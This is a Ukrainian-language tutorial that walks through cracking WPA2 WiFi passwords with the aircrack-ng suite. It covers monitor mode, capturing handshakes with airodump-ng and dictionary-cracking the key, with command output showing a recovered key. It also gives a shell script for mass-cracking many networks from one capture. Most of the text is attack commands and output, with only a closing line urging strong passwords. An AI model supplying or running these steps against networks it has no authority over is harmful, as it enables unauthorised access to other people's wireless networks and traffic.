Як зламати пароль до WiFi з Aircrack-ng

Вступ §

Ось, що ми зробимо:

  1. переведемо мережеву карту в режим моніторингу з airmon-ng
  2. Перехопимо пакети за допомогою airodump-ng
  3. Крякнемо ключ до мережі

Як це відбувається? §

За допомогою попередніх спільних ключів клієнт і точка доступу встановлюють ключовий 🗝️ матеріал, який буде використовуватися для їх зв’язку на початку, коли клієнт вперше зв’язується з точкою доступу. Між клієнтом і точкою доступу відбувається чотиристороннє рукостискання 🤝. airodump-ng може його зафіксувати. Використовуючи дані зі списку слів 📖(словника), aircrack-ng дублює це рукостискання 🤝, щоб визначити, чи відповідає певний запис у списку слів результатам чотиристороннього рукостискання. Якщо так, це означає, що попередній спільний ключ 🗝️ успішно ідентифіковано.

Моніторинг §

Спершу дізнаймось назву нашого мережевого інтерфейсу (картки):

airmon-ng
PHY     Interface       Driver          Chipset
phy0    wlan0           iwlwifi         Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)

Або можна використати iwconfig (ifconfig), без різниці. Переведемо його в режим моніторингу:

airmon-ng start <інтерфейс> # ну а щоб перестати, то stop (коли закінчимо)
airmon-ng start wlan0 # або одразу wlan0mon
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
  PID Name
 1106 NetworkManager
 1374 wpa_supplicant
PHY     Interface       Driver          Chipset
phy0    wlan0           iwlwifi         Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)
                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Як бачимо, варто вбити процеси NetworkManager і wpa_supplicant, бо вони можуть заважати. Отже, нам вдалося виконати перший крок:

airmon-ng
PHY     Interface       Driver          Chipset
phy0    wlan0mon        iwlwifi         Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)

Перехоплення пакунків §

airodump‐ng — інструмент захоплення пакетів для aircrack‐ngman-сторінки). Запустимо його, вказавши наш інтерфейс та префікс (до якого додаватимуться різні суфікси) файлів, де він буде зберігати дані

airodump-ng wlan0mon -w lmao

airodump відображає трафік у реальному часі та зберігає його у файли з префіксом, який ми дали.

CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 # показує, що захопила рукостискання

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy

  BSSID              STATION            PWR  Lost  Packets  Probes

  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116

Коли ми дістали рукостискання для потрібного BSSID, можемо вимикати airodump-ng та повертатися з моніторингового режиму.

airmon-ng stop wlan0mon

Злам пароля §

Ось, що зберегла airodump-ng (файли lmao-01* — логи першого запуску, 02 — другого й так далі):

lmao-01.cap            lmao-02.cap            lmao-03.cap
lmao-01.csv            lmao-02.csv            lmao-03.csv
lmao-01.kismet.csv     lmao-02.kismet.csv     lmao-03.kismet.csv
lmao-01.kismet.netxml  lmao-02.kismet.netxml  lmao-03.kismet.netxml
lmao-01.log.csv        lmao-02.log.csv        lmao-03.log.csv

Зламувати паролі можна так:

aircrack-ng <файл-який-зробив-airodump>.cap -w <файл-із-паролями>

у моєму випадку

aircrack-ng lmao-01.cap -w wordlist

Програма запуститься, спитає у вас, до якої мережі підбирати пароль, і почне саме зламування.

   #  BSSID              ESSID                     Encryption
  30  45:3A:47:61:B7:09  bur                       Unknown
  # припустімо, це потрібна мережа, тоді вводимо 30

Якщо вивід виглядає так:

# ...
Read 45934 packets.
1 potential targets
Packets contained no EAPOL data; unable to process this AP.
Quitting aircrack-ng...

то це значить, що ми не захопили жодного рукостискання, тож не маємо змоги підібрати пароль до цієї штуки (потрібно ще бавитись airodump-ng або виконати якесь з’єднання примусово, про що почитаєте в документації). В іншому випадку буде відбуватися підбір, і якщо знайдеться підходящий пароль, то ми отримаємо:

                               Aircrack-ng 1.7

      [00:00:00] 1/1 keys tested (22.38 k/s) # 1 ключ, бо це тест, і я знаю пароль. Звісно, так не буде майже ніколи

      Time left: --

                           KEY FOUND! [ 42134111 ] # єєєєєєєєєєє
# ...

Легко? От і ставте нормальний пароль, а не 4411admin. А ще уявіть таке: ваш пароль зламали, а адмінські інструменти роутера без пароля або теж 4411admin 💀💀💀.

Ламаємо багато мереж одразу §

Додамо два параметри (-b <++> і -l <++>) до нашої команди:

aircrack-ng -b <bssid> <файл-який-зробив-airodump>.cap -w <список-паролів> -l <файл-куди-записати-ключ>

Раніше запускаючи Aircrack, ми отримували такий вивід:

   #  BSSID              ESSID                     Encryption
  30  45:3A:47:61:B7:09  bur                       Unknown

У vim‘і можете запустити таку команду на кожній потрібній стрічці (наприклад, попередньо виділивши їх), і отримаєте тільки BSSID у стовпчик, зручно!

norm 0d2wElD

Або використайте власні засоби, щоб це зробити. Приблизно так виглядатиме скрипт для масового зламу паролів:

#!/bin/sh

wordlist="../word"
cap="lmao-03.cap"

for i in \
	# 35:2A:44:61:B7:09 \
	# ... \
	# 45:3A:47:61:B7:09 коротше адреси тут пишете
do
	aircrack-ng -b $i "$cap" -w "$wordlist" -l "$i.key"
done

Висновки та посилання §

Тепер усім ясно, чому потрібно встановити добрий пароль для своєї безпровідної мережі. Можна згенерувати його за допомогою менеджера паролів і, можливо, про всяк випадок, переписати. Має бути не менше 20 випадкових символів або потужна фраза з вигаданих слів та ще більшою кількістю символів.